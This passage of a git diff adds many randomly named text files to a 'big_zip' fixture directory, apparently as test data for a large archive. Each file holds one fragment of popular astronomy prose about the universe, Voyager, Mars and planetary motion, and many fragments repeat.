\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_xehkkhqjny/folder_pfsaielbxe/folder_lntmdthbff/folder_slmyfnbxwf/file_ipckikotlkjefvwfghvc.txt b/big_zip/big-zip-files/folder_xehkkhqjny/folder_pfsaielbxe/folder_lntmdthbff/folder_slmyfnbxwf/file_ipckikotlkjefvwfghvc.txt
new file mode 100644
index 0000000..837a2f3
--- /dev/null
+++ b/big_zip/big-zip-files/folder_xehkkhqjny/folder_pfsaielbxe/folder_lntmdthbff/folder_slmyfnbxwf/file_ipckikotlkjefvwfghvc.txt
@@ -0,0 +1 @@
+universe as a four-dimensional hypersphere with no center and no edge, and nothingbeyond. Why do all the galaxies seem to be running away from us? The hypersphere is
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_xehkkhqjny/folder_pfsaielbxe/folder_lntmdthbff/folder_slmyfnbxwf/file_jlmpfoxwhgcaupukbljmitr.txt b/big_zip/big-zip-files/folder_xehkkhqjny/folder_pfsaielbxe/folder_lntmdthbff/folder_slmyfnbxwf/file_jlmpfoxwhgcaupukbljmitr.txt
new file mode 100644
index 0000000..837a2f3
--- /dev/null
+++ b/big_zip/big-zip-files/folder_xehkkhqjny/folder_pfsaielbxe/folder_lntmdthbff/folder_slmyfnbxwf/file_jlmpfoxwhgcaupukbljmitr.txt
@@ -0,0 +1 @@
+universe as a four-dimensional hypersphere with no center and no edge, and nothingbeyond. Why do all the galaxies seem to be running away from us? The hypersphere is
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_xehkkhqjny/folder_pfsaielbxe/folder_lntmdthbff/folder_slmyfnbxwf/file_knjoxwazjdksvbszhuacp.txt b/big_zip/big-zip-files/folder_xehkkhqjny/folder_pfsaielbxe/folder_lntmdthbff/folder_slmyfnbxwf/file_knjoxwazjdksvbszhuacp.txt
new file mode 100644
index 0000000..837a2f3
--- /dev/null
+++ b/big_zip/big-zip-files/folder_xehkkhqjny/folder_pfsaielbxe/folder_lntmdthbff/folder_slmyfnbxwf/file_knjoxwazjdksvbszhuacp.txt
@@ -0,0 +1 @@
+universe as a four-dimensional hypersphere with no center and no edge, and nothingbeyond. Why do all the galaxies seem to be running away from us? The hypersphere is
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_xehkkhqjny/folder_pfsaielbxe/folder_lntmdthbff/folder_slmyfnbxwf/file_ldjtpamveomcaysllrf.txt b/big_zip/big-zip-files/folder_xehkkhqjny/folder_pfsaielbxe/folder_lntmdthbff/folder_slmyfnbxwf/file_ldjtpamveomcaysllrf.txt
new file mode 100644
index 0000000..837a2f3
--- /dev/null
+++ b/big_zip/big-zip-files/folder_xehkkhqjny/folder_pfsaielbxe/folder_lntmdthbff/folder_slmyfnbxwf/file_ldjtpamveomcaysllrf.txt
@@ -0,0 +1 @@
+universe as a four-dimensional hypersphere with no center and no edge, and nothingbeyond. Why do all the galaxies seem to be running away from us? The hypersphere is
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_xehkkhqjny/folder_pfsaielbxe/folder_lntmdthbff/folder_slmyfnbxwf/file_oarhzjhdaky.txt b/big_zip/big-zip-files/folder_xehkkhqjny/folder_pfsaielbxe/folder_lntmdthbff/folder_slmyfnbxwf/file_oarhzjhdaky.txt
new file mode 100644
index 0000000..837a2f3
--- /dev/null
+++ b/big_zip/big-zip-files/folder_xehkkhqjny/folder_pfsaielbxe/folder_lntmdthbff/folder_slmyfnbxwf/file_oarhzjhdaky.txt
@@ -0,0 +1 @@
+universe as a four-dimensional hypersphere with no center and no edge, and nothingbeyond. Why do all the galaxies seem to be running away from us? The hypersphere is
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_xehkkhqjny/folder_pfsaielbxe/folder_lntmdthbff/folder_slmyfnbxwf/file_oirroljxdvwobhv.txt b/big_zip/big-zip-files/folder_xehkkhqjny/folder_pfsaielbxe/folder_lntmdthbff/folder_slmyfnbxwf/file_oirroljxdvwobhv.txt
new file mode 100644
index 0000000..837a2f3
--- /dev/null
+++ b/big_zip/big-zip-files/folder_xehkkhqjny/folder_pfsaielbxe/folder_lntmdthbff/folder_slmyfnbxwf/file_oirroljxdvwobhv.txt
@@ -0,0 +1 @@
+universe as a four-dimensional hypersphere with no center and no edge, and nothingbeyond. Why do all the galaxies seem to be running away from us? The hypersphere is
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_xehkkhqjny/folder_pfsaielbxe/folder_lntmdthbff/folder_slmyfnbxwf/file_pfkigcvxhfla.txt b/big_zip/big-zip-files/folder_xehkkhqjny/folder_pfsaielbxe/folder_lntmdthbff/folder_slmyfnbxwf/file_pfkigcvxhfla.txt
new file mode 100644
index 0000000..837a2f3
--- /dev/null
+++ b/big_zip/big-zip-files/folder_xehkkhqjny/folder_pfsaielbxe/folder_lntmdthbff/folder_slmyfnbxwf/file_pfkigcvxhfla.txt
@@ -0,0 +1 @@
+universe as a four-dimensional hypersphere with no center and no edge, and nothingbeyond. Why do all the galaxies seem to be running away from us? The hypersphere is
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_xehkkhqjny/folder_pfsaielbxe/folder_lntmdthbff/folder_slmyfnbxwf/file_tfcgcufsaa.txt b/big_zip/big-zip-files/folder_xehkkhqjny/folder_pfsaielbxe/folder_lntmdthbff/folder_slmyfnbxwf/file_tfcgcufsaa.txt
new file mode 100644
index 0000000..837a2f3
--- /dev/null
+++ b/big_zip/big-zip-files/folder_xehkkhqjny/folder_pfsaielbxe/folder_lntmdthbff/folder_slmyfnbxwf/file_tfcgcufsaa.txt
@@ -0,0 +1 @@
+universe as a four-dimensional hypersphere with no center and no edge, and nothingbeyond. Why do all the galaxies seem to be running away from us? The hypersphere is
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_xehkkhqjny/folder_pfsaielbxe/folder_lntmdthbff/folder_slmyfnbxwf/file_txuffalpjiimmgmgt.txt b/big_zip/big-zip-files/folder_xehkkhqjny/folder_pfsaielbxe/folder_lntmdthbff/folder_slmyfnbxwf/file_txuffalpjiimmgmgt.txt
new file mode 100644
index 0000000..837a2f3
--- /dev/null
+++ b/big_zip/big-zip-files/folder_xehkkhqjny/folder_pfsaielbxe/folder_lntmdthbff/folder_slmyfnbxwf/file_txuffalpjiimmgmgt.txt
@@ -0,0 +1 @@
+universe as a four-dimensional hypersphere with no center and no edge, and nothingbeyond. Why do all the galaxies seem to be running away from us? The hypersphere is
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_xehkkhqjny/folder_pfsaielbxe/folder_lntmdthbff/folder_slmyfnbxwf/file_uyxqmhgrsyrwpjxawbtw.txt b/big_zip/big-zip-files/folder_xehkkhqjny/folder_pfsaielbxe/folder_lntmdthbff/folder_slmyfnbxwf/file_uyxqmhgrsyrwpjxawbtw.txt
new file mode 100644
index 0000000..837a2f3
--- /dev/null
+++ b/big_zip/big-zip-files/folder_xehkkhqjny/folder_pfsaielbxe/folder_lntmdthbff/folder_slmyfnbxwf/file_uyxqmhgrsyrwpjxawbtw.txt
@@ -0,0 +1 @@
+universe as a four-dimensional hypersphere with no center and no edge, and nothingbeyond. Why do all the galaxies seem to be running away from us? The hypersphere is
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_xehkkhqjny/folder_pfsaielbxe/folder_lntmdthbff/folder_slmyfnbxwf/file_vacsfsolnuga.txt b/big_zip/big-zip-files/folder_xehkkhqjny/folder_pfsaielbxe/folder_lntmdthbff/folder_slmyfnbxwf/file_vacsfsolnuga.txt
new file mode 100644
index 0000000..837a2f3
--- /dev/null
+++ b/big_zip/big-zip-files/folder_xehkkhqjny/folder_pfsaielbxe/folder_lntmdthbff/folder_slmyfnbxwf/file_vacsfsolnuga.txt
@@ -0,0 +1 @@
+universe as a four-dimensional hypersphere with no center and no edge, and nothingbeyond. Why do all the galaxies seem to be running away from us? The hypersphere is
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_xehkkhqjny/folder_pfsaielbxe/folder_lntmdthbff/folder_slmyfnbxwf/file_wdbvgfhiotlfjngvukzcrfd.txt b/big_zip/big-zip-files/folder_xehkkhqjny/folder_pfsaielbxe/folder_lntmdthbff/folder_slmyfnbxwf/file_wdbvgfhiotlfjngvukzcrfd.txt
new file mode 100644
index 0000000..837a2f3
--- /dev/null
+++ b/big_zip/big-zip-files/folder_xehkkhqjny/folder_pfsaielbxe/folder_lntmdthbff/folder_slmyfnbxwf/file_wdbvgfhiotlfjngvukzcrfd.txt
@@ -0,0 +1 @@
+universe as a four-dimensional hypersphere with no center and no edge, and nothingbeyond. Why do all the galaxies seem to be running away from us? The hypersphere is
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_xehkkhqjny/folder_pfsaielbxe/folder_lntmdthbff/folder_slmyfnbxwf/file_wkflkmecrhpfxu.txt b/big_zip/big-zip-files/folder_xehkkhqjny/folder_pfsaielbxe/folder_lntmdthbff/folder_slmyfnbxwf/file_wkflkmecrhpfxu.txt
new file mode 100644
index 0000000..837a2f3
--- /dev/null
+++ b/big_zip/big-zip-files/folder_xehkkhqjny/folder_pfsaielbxe/folder_lntmdthbff/folder_slmyfnbxwf/file_wkflkmecrhpfxu.txt
@@ -0,0 +1 @@
+universe as a four-dimensional hypersphere with no center and no edge, and nothingbeyond. Why do all the galaxies seem to be running away from us? The hypersphere is
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_xehkkhqjny/folder_pfsaielbxe/folder_lntmdthbff/folder_slmyfnbxwf/file_xophvptqufajipxuik.txt b/big_zip/big-zip-files/folder_xehkkhqjny/folder_pfsaielbxe/folder_lntmdthbff/folder_slmyfnbxwf/file_xophvptqufajipxuik.txt
new file mode 100644
index 0000000..837a2f3
--- /dev/null
+++ b/big_zip/big-zip-files/folder_xehkkhqjny/folder_pfsaielbxe/folder_lntmdthbff/folder_slmyfnbxwf/file_xophvptqufajipxuik.txt
@@ -0,0 +1 @@
+universe as a four-dimensional hypersphere with no center and no edge, and nothingbeyond. Why do all the galaxies seem to be running away from us? The hypersphere is
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_xehkkhqjny/folder_pfsaielbxe/folder_lntmdthbff/folder_slmyfnbxwf/file_xzgpoukcyfjgpvtgwnryc.txt b/big_zip/big-zip-files/folder_xehkkhqjny/folder_pfsaielbxe/folder_lntmdthbff/folder_slmyfnbxwf/file_xzgpoukcyfjgpvtgwnryc.txt
new file mode 100644
index 0000000..837a2f3
--- /dev/null
+++ b/big_zip/big-zip-files/folder_xehkkhqjny/folder_pfsaielbxe/folder_lntmdthbff/folder_slmyfnbxwf/file_xzgpoukcyfjgpvtgwnryc.txt
@@ -0,0 +1 @@
+universe as a four-dimensional hypersphere with no center and no edge, and nothingbeyond. Why do all the galaxies seem to be running away from us? The hypersphere is
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_xehkkhqjny/folder_pfsaielbxe/folder_lntmdthbff/folder_slmyfnbxwf/file_zfzjnrnpywfkg.txt b/big_zip/big-zip-files/folder_xehkkhqjny/folder_pfsaielbxe/folder_lntmdthbff/folder_slmyfnbxwf/file_zfzjnrnpywfkg.txt
new file mode 100644
index 0000000..837a2f3
--- /dev/null
+++ b/big_zip/big-zip-files/folder_xehkkhqjny/folder_pfsaielbxe/folder_lntmdthbff/folder_slmyfnbxwf/file_zfzjnrnpywfkg.txt
@@ -0,0 +1 @@
+universe as a four-dimensional hypersphere with no center and no edge, and nothingbeyond. Why do all the galaxies seem to be running away from us? The hypersphere is
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_xehkkhqjny/folder_pfsaielbxe/folder_lntmdthbff/folder_slmyfnbxwf/fxkaselgqgpsmxbf.txt b/big_zip/big-zip-files/folder_xehkkhqjny/folder_pfsaielbxe/folder_lntmdthbff/folder_slmyfnbxwf/fxkaselgqgpsmxbf.txt
new file mode 100644
index 0000000..d240400
--- /dev/null
+++ b/big_zip/big-zip-files/folder_xehkkhqjny/folder_pfsaielbxe/folder_lntmdthbff/folder_slmyfnbxwf/fxkaselgqgpsmxbf.txt
@@ -0,0 +1 @@
+even a small tendency toward retrenchment, a turning away from the Cosmos, adds up over
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_xehkkhqjny/folder_pfsaielbxe/folder_lntmdthbff/folder_slmyfnbxwf/gbbwvemppjkpmtwecbt.txt b/big_zip/big-zip-files/folder_xehkkhqjny/folder_pfsaielbxe/folder_lntmdthbff/folder_slmyfnbxwf/gbbwvemppjkpmtwecbt.txt
new file mode 100644
index 0000000..395cd6c
--- /dev/null
+++ b/big_zip/big-zip-files/folder_xehkkhqjny/folder_pfsaielbxe/folder_lntmdthbff/folder_slmyfnbxwf/gbbwvemppjkpmtwecbt.txt
@@ -0,0 +1 @@
+And so we return to Richardson. In his diagram a solid line is the waiting time for a
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_xehkkhqjny/folder_pfsaielbxe/folder_lntmdthbff/folder_slmyfnbxwf/igqsnkxrhhkdobsvdjte.txt b/big_zip/big-zip-files/folder_xehkkhqjny/folder_pfsaielbxe/folder_lntmdthbff/folder_slmyfnbxwf/igqsnkxrhhkdobsvdjte.txt
new file mode 100644
index 0000000..a7c45a6
--- /dev/null
+++ b/big_zip/big-zip-files/folder_xehkkhqjny/folder_pfsaielbxe/folder_lntmdthbff/folder_slmyfnbxwf/igqsnkxrhhkdobsvdjte.txt
@@ -0,0 +1 @@
+through daring and intelligence we have stolen a few glimpses of that winding path along
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_xehkkhqjny/folder_pfsaielbxe/folder_lntmdthbff/folder_slmyfnbxwf/ihqudufrwtpanagciiwls.txt b/big_zip/big-zip-files/folder_xehkkhqjny/folder_pfsaielbxe/folder_lntmdthbff/folder_slmyfnbxwf/ihqudufrwtpanagciiwls.txt
new file mode 100644
index 0000000..9b647a1
--- /dev/null
+++ b/big_zip/big-zip-files/folder_xehkkhqjny/folder_pfsaielbxe/folder_lntmdthbff/folder_slmyfnbxwf/ihqudufrwtpanagciiwls.txt
@@ -0,0 +1 @@
+and religious wisdom. We must make every effort to understand that our fellow humans, all
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_xehkkhqjny/folder_pfsaielbxe/folder_lntmdthbff/folder_slmyfnbxwf/klkdwvgtwqwcfpyjowms.txt b/big_zip/big-zip-files/folder_xehkkhqjny/folder_pfsaielbxe/folder_lntmdthbff/folder_slmyfnbxwf/klkdwvgtwqwcfpyjowms.txt
new file mode 100644
index 0000000..01e7056
--- /dev/null
+++ b/big_zip/big-zip-files/folder_xehkkhqjny/folder_pfsaielbxe/folder_lntmdthbff/folder_slmyfnbxwf/klkdwvgtwqwcfpyjowms.txt
@@ -0,0 +1 @@
+planetary motion, certainly good enough for the precision of measurement available in
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_xehkkhqjny/folder_pfsaielbxe/folder_lntmdthbff/folder_slmyfnbxwf/kutosiroyrtd.txt b/big_zip/big-zip-files/folder_xehkkhqjny/folder_pfsaielbxe/folder_lntmdthbff/folder_slmyfnbxwf/kutosiroyrtd.txt
new file mode 100644
index 0000000..d596e40
--- /dev/null
+++ b/big_zip/big-zip-files/folder_xehkkhqjny/folder_pfsaielbxe/folder_lntmdthbff/folder_slmyfnbxwf/kutosiroyrtd.txt
@@ -0,0 +1 @@
+background radiation, in counting quasars, in searching for intelligent signals from space,
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_xehkkhqjny/folder_pfsaielbxe/folder_lntmdthbff/folder_slmyfnbxwf/mdhjamupibegddiitry.txt b/big_zip/big-zip-files/folder_xehkkhqjny/folder_pfsaielbxe/folder_lntmdthbff/folder_slmyfnbxwf/mdhjamupibegddiitry.txt
new file mode 100644
index 0000000..8bc289b
--- /dev/null
+++ b/big_zip/big-zip-files/folder_xehkkhqjny/folder_pfsaielbxe/folder_lntmdthbff/folder_slmyfnbxwf/mdhjamupibegddiitry.txt
@@ -0,0 +1 @@
+away from home, on Mars Hill in Flagstaff, Arizona.* He sketched the surface features of
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_xehkkhqjny/folder_pfsaielbxe/folder_lntmdthbff/folder_slmyfnbxwf/qxbhvhoemnixp.txt b/big_zip/big-zip-files/folder_xehkkhqjny/folder_pfsaielbxe/folder_lntmdthbff/folder_slmyfnbxwf/qxbhvhoemnixp.txt
new file mode 100644
index 0000000..e9bded6
--- /dev/null
+++ b/big_zip/big-zip-files/folder_xehkkhqjny/folder_pfsaielbxe/folder_lntmdthbff/folder_slmyfnbxwf/qxbhvhoemnixp.txt
@@ -0,0 +1 @@
+When we hunt animals, then also can we be killed. We can be gored. Or trampled.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_xehkkhqjny/folder_pfsaielbxe/folder_lntmdthbff/folder_slmyfnbxwf/rfbvrcjsdarv.txt b/big_zip/big-zip-files/folder_xehkkhqjny/folder_pfsaielbxe/folder_lntmdthbff/folder_slmyfnbxwf/rfbvrcjsdarv.txt
new file mode 100644
index 0000000..73aba83
--- /dev/null
+++ b/big_zip/big-zip-files/folder_xehkkhqjny/folder_pfsaielbxe/folder_lntmdthbff/folder_slmyfnbxwf/rfbvrcjsdarv.txt
@@ -0,0 +1 @@
+the different varieties with a camel’s-hair brush. To my astonishment, I came upon
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_xehkkhqjny/folder_pfsaielbxe/folder_lntmdthbff/folder_slmyfnbxwf/sdriysbtvrdtirebnik.txt b/big_zip/big-zip-files/folder_xehkkhqjny/folder_pfsaielbxe/folder_lntmdthbff/folder_slmyfnbxwf/sdriysbtvrdtirebnik.txt
new file mode 100644
index 0000000..f261ff6
--- /dev/null
+++ b/big_zip/big-zip-files/folder_xehkkhqjny/folder_pfsaielbxe/folder_lntmdthbff/folder_slmyfnbxwf/sdriysbtvrdtirebnik.txt
@@ -0,0 +1 @@
+revive the flame. The death of the flame in the hearth was considered synonymous with the death of the
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_xehkkhqjny/folder_pfsaielbxe/folder_lntmdthbff/folder_slmyfnbxwf/skvunbandw.txt b/big_zip/big-zip-files/folder_xehkkhqjny/folder_pfsaielbxe/folder_lntmdthbff/folder_slmyfnbxwf/skvunbandw.txt
new file mode 100644
index 0000000..036c2ca
--- /dev/null
+++ b/big_zip/big-zip-files/folder_xehkkhqjny/folder_pfsaielbxe/folder_lntmdthbff/folder_slmyfnbxwf/skvunbandw.txt
@@ -0,0 +1 @@
+atmospheric pressure is so high, however, that we cannot see the surface. Sunlight is
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_xehkkhqjny/folder_pfsaielbxe/folder_lntmdthbff/folder_slmyfnbxwf/sntgcryluk.txt b/big_zip/big-zip-files/folder_xehkkhqjny/folder_pfsaielbxe/folder_lntmdthbff/folder_slmyfnbxwf/sntgcryluk.txt
new file mode 100644
index 0000000..732101b
--- /dev/null
+++ b/big_zip/big-zip-files/folder_xehkkhqjny/folder_pfsaielbxe/folder_lntmdthbff/folder_slmyfnbxwf/sntgcryluk.txt
@@ -0,0 +1 @@
+But except for one or two enigmatic features, nothing of the sort is apparent in the exquisite
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_xehkkhqjny/folder_pfsaielbxe/folder_lntmdthbff/folder_slmyfnbxwf/tzrjalvvfspji.txt b/big_zip/big-zip-files/folder_xehkkhqjny/folder_pfsaielbxe/folder_lntmdthbff/folder_slmyfnbxwf/tzrjalvvfspji.txt
new file mode 100644
index 0000000..3225d3a
--- /dev/null
+++ b/big_zip/big-zip-files/folder_xehkkhqjny/folder_pfsaielbxe/folder_lntmdthbff/folder_slmyfnbxwf/tzrjalvvfspji.txt
@@ -0,0 +1 @@
+subsurface life; hundreds of tests for organic chemistry and life could be performed,
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_xehkkhqjny/folder_pfsaielbxe/folder_lntmdthbff/folder_slmyfnbxwf/wrlvpvnroxd.txt b/big_zip/big-zip-files/folder_xehkkhqjny/folder_pfsaielbxe/folder_lntmdthbff/folder_slmyfnbxwf/wrlvpvnroxd.txt
new file mode 100644
index 0000000..08bd12a
--- /dev/null
+++ b/big_zip/big-zip-files/folder_xehkkhqjny/folder_pfsaielbxe/folder_lntmdthbff/folder_slmyfnbxwf/wrlvpvnroxd.txt
@@ -0,0 +1 @@
+contradiction in all this.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_xehkkhqjny/folder_pfsaielbxe/folder_lntmdthbff/folder_slmyfnbxwf/xezflwlfkos.txt b/big_zip/big-zip-files/folder_xehkkhqjny/folder_pfsaielbxe/folder_lntmdthbff/folder_slmyfnbxwf/xezflwlfkos.txt
new file mode 100644
index 0000000..bf01eab
--- /dev/null
+++ b/big_zip/big-zip-files/folder_xehkkhqjny/folder_pfsaielbxe/folder_lntmdthbff/folder_slmyfnbxwf/xezflwlfkos.txt
@@ -0,0 +1 @@
+extinct forms, to a planet that is now and was always lifeless. Because Mars is farther from
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_xehkkhqjny/folder_pfsaielbxe/folder_lntmdthbff/folder_slmyfnbxwf/zcftgrejgy.txt b/big_zip/big-zip-files/folder_xehkkhqjny/folder_pfsaielbxe/folder_lntmdthbff/folder_slmyfnbxwf/zcftgrejgy.txt
new file mode 100644
index 0000000..140c358
--- /dev/null
+++ b/big_zip/big-zip-files/folder_xehkkhqjny/folder_pfsaielbxe/folder_lntmdthbff/folder_slmyfnbxwf/zcftgrejgy.txt
@@ -0,0 +1 @@
+the planets are circumscribed by the five platonic solids was no more supported by Tycho’s
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_xikaalbeii/file_caftzowiexwdoj.txt b/big_zip/big-zip-files/folder_xikaalbeii/file_caftzowiexwdoj.txt
new file mode 100644
index 0000000..35540cf
--- /dev/null
+++ b/big_zip/big-zip-files/folder_xikaalbeii/file_caftzowiexwdoj.txt
@@ -0,0 +1 @@
+log, a combination of the events of Voyagers 1 and 2, might read something like this:
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_xikaalbeii/file_csoyrqsaezsdufm.txt b/big_zip/big-zip-files/folder_xikaalbeii/file_csoyrqsaezsdufm.txt
new file mode 100644
index 0000000..35540cf
--- /dev/null
+++ b/big_zip/big-zip-files/folder_xikaalbeii/file_csoyrqsaezsdufm.txt
@@ -0,0 +1 @@
+log, a combination of the events of Voyagers 1 and 2, might read something like this:
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_xikaalbeii/file_dzfvncdqlvqhodjqktgw.txt b/big_zip/big-zip-files/folder_xikaalbeii/file_dzfvncdqlvqhodjqktgw.txt
new file mode 100644
index 0000000..35540cf
--- /dev/null
+++ b/big_zip/big-zip-files/folder_xikaalbeii/file_dzfvncdqlvqhodjqktgw.txt
@@ -0,0 +1 @@
+log, a combination of the events of Voyagers 1 and 2, might read something like this:
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_xikaalbeii/file_fmuqiagablflwcszwxnm.txt b/big_zip/big-zip-files/folder_xikaalbeii/file_fmuqiagablflwcszwxnm.txt
new file mode 100644
index 0000000..35540cf
--- /dev/null
+++ b/big_zip/big-zip-files/folder_xikaalbeii/file_fmuqiagablflwcszwxnm.txt
@@ -0,0 +1 @@
+log, a combination of the events of Voyagers 1 and 2, might read something like this:
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_xikaalbeii/file_iklznjkevgcobmrylpqnfsff.txt b/big_zip/big-zip-files/folder_xikaalbeii/file_iklznjkevgcobmrylpqnfsff.txt
new file mode 100644
index 0000000..35540cf
--- /dev/null
+++ b/big_zip/big-zip-files/folder_xikaalbeii/file_iklznjkevgcobmrylpqnfsff.txt
@@ -0,0 +1 @@
+log, a combination of the events of Voyagers 1 and 2, might read something like this:
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_xikaalbeii/file_jnwpxmwxgpnbqibs.txt b/big_zip/big-zip-files/folder_xikaalbeii/file_jnwpxmwxgpnbqibs.txt
new file mode 100644
index 0000000..35540cf
--- /dev/null
+++ b/big_zip/big-zip-files/folder_xikaalbeii/file_jnwpxmwxgpnbqibs.txt
@@ -0,0 +1 @@
+log, a combination of the events of Voyagers 1 and 2, might read something like this:
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_xikaalbeii/file_mojcwonakflwsaoyupxyt.txt b/big_zip/big-zip-files/folder_xikaalbeii/file_mojcwonakflwsaoyupxyt.txt
new file mode 100644
index 0000000..35540cf
--- /dev/null
+++ b/big_zip/big-zip-files/folder_xikaalbeii/file_mojcwonakflwsaoyupxyt.txt
@@ -0,0 +1 @@
+log, a combination of the events of Voyagers 1 and 2, might read something like this:
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_xikaalbeii/file_qrdfsitjqj.txt b/big_zip/big-zip-files/folder_xikaalbeii/file_qrdfsitjqj.txt
new file mode 100644
index 0000000..35540cf
--- /dev/null
+++ b/big_zip/big-zip-files/folder_xikaalbeii/file_qrdfsitjqj.txt
@@ -0,0 +1 @@
+log, a combination of the events of Voyagers 1 and 2, might read something like this:
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_xikaalbeii/file_sgeoawqclenuioetadf.txt b/big_zip/big-zip-files/folder_xikaalbeii/file_sgeoawqclenuioetadf.txt
new file mode 100644
index 0000000..35540cf
--- /dev/null
+++ b/big_zip/big-zip-files/folder_xikaalbeii/file_sgeoawqclenuioetadf.txt
@@ -0,0 +1 @@
+log, a combination of the events of Voyagers 1 and 2, might read something like this:
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_xikaalbeii/file_tudlkmvydxeee.txt b/big_zip/big-zip-files/folder_xikaalbeii/file_tudlkmvydxeee.txt
new file mode 100644
index 0000000..35540cf
--- /dev/null
+++ b/big_zip/big-zip-files/folder_xikaalbeii/file_tudlkmvydxeee.txt
@@ -0,0 +1 @@
+log, a combination of the events of Voyagers 1 and 2, might read something like this:
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_xikaalbeii/file_vjmyufnojavyk.txt b/big_zip/big-zip-files/folder_xikaalbeii/file_vjmyufnojavyk.txt
new file mode 100644
index 0000000..35540cf
--- /dev/null
+++ b/big_zip/big-zip-files/folder_xikaalbeii/file_vjmyufnojavyk.txt
@@ -0,0 +1 @@
+log, a combination of the events of Voyagers 1 and 2, might read something like this:
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_xikaalbeii/file_vkjhmftniflwtmt.txt b/big_zip/big-zip-files/folder_xikaalbeii/file_vkjhmftniflwtmt.txt
new file mode 100644
index 0000000..35540cf
--- /dev/null
+++ b/big_zip/big-zip-files/folder_xikaalbeii/file_vkjhmftniflwtmt.txt
@@ -0,0 +1 @@
+log, a combination of the events of Voyagers 1 and 2, might read something like this:
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_xikaalbeii/file_vzdhrniozyziofbidi.txt b/big_zip/big-zip-files/folder_xikaalbeii/file_vzdhrniozyziofbidi.txt
new file mode 100644
index 0000000..35540cf
--- /dev/null
+++ b/big_zip/big-zip-files/folder_xikaalbeii/file_vzdhrniozyziofbidi.txt
@@ -0,0 +1 @@
+log, a combination of the events of Voyagers 1 and 2, might read something like this:
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_xikaalbeii/file_wzrguoaiidjcpryh.txt b/big_zip/big-zip-files/folder_xikaalbeii/file_wzrguoaiidjcpryh.txt
new file mode 100644
index 0000000..35540cf
--- /dev/null
+++ b/big_zip/big-zip-files/folder_xikaalbeii/file_wzrguoaiidjcpryh.txt
@@ -0,0 +1 @@
+log, a combination of the events of Voyagers 1 and 2, might read something like this:
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_xikaalbeii/file_yibcqhplntspcooozgblnx.txt b/big_zip/big-zip-files/folder_xikaalbeii/file_yibcqhplntspcooozgblnx.txt
new file mode 100644
index 0000000..35540cf
--- /dev/null
+++ b/big_zip/big-zip-files/folder_xikaalbeii/file_yibcqhplntspcooozgblnx.txt
@@ -0,0 +1 @@
+log, a combination of the events of Voyagers 1 and 2, might read something like this:
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_xikaalbeii/file_yvaowfkchrjyylwa.txt b/big_zip/big-zip-files/folder_xikaalbeii/file_yvaowfkchrjyylwa.txt
new file mode 100644
index 0000000..35540cf
--- /dev/null
+++ b/big_zip/big-zip-files/folder_xikaalbeii/file_yvaowfkchrjyylwa.txt
@@ -0,0 +1 @@
+log, a combination of the events of Voyagers 1 and 2, might read something like this:
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_xikaalbeii/file_zkmqnkapsdizaevjuseldgcg.txt b/big_zip/big-zip-files/folder_xikaalbeii/file_zkmqnkapsdizaevjuseldgcg.txt
new file mode 100644
index 0000000..35540cf
--- /dev/null
+++ b/big_zip/big-zip-files/folder_xikaalbeii/file_zkmqnkapsdizaevjuseldgcg.txt
@@ -0,0 +1 @@
+log, a combination of the events of Voyagers 1 and 2, might read something like this:
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_xikaalbeii/file_zsunbhnskkwmrwskv.txt b/big_zip/big-zip-files/folder_xikaalbeii/file_zsunbhnskkwmrwskv.txt
new file mode 100644
index 0000000..35540cf
--- /dev/null
+++ b/big_zip/big-zip-files/folder_xikaalbeii/file_zsunbhnskkwmrwskv.txt
@@ -0,0 +1 @@
+log, a combination of the events of Voyagers 1 and 2, might read something like this:
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_xikaalbeii/folder_icqzshoays/file_aauuomstqmv.txt b/big_zip/big-zip-files/folder_xikaalbeii/folder_icqzshoays/file_aauuomstqmv.txt
new file mode 100644
index 0000000..a55c04d
--- /dev/null
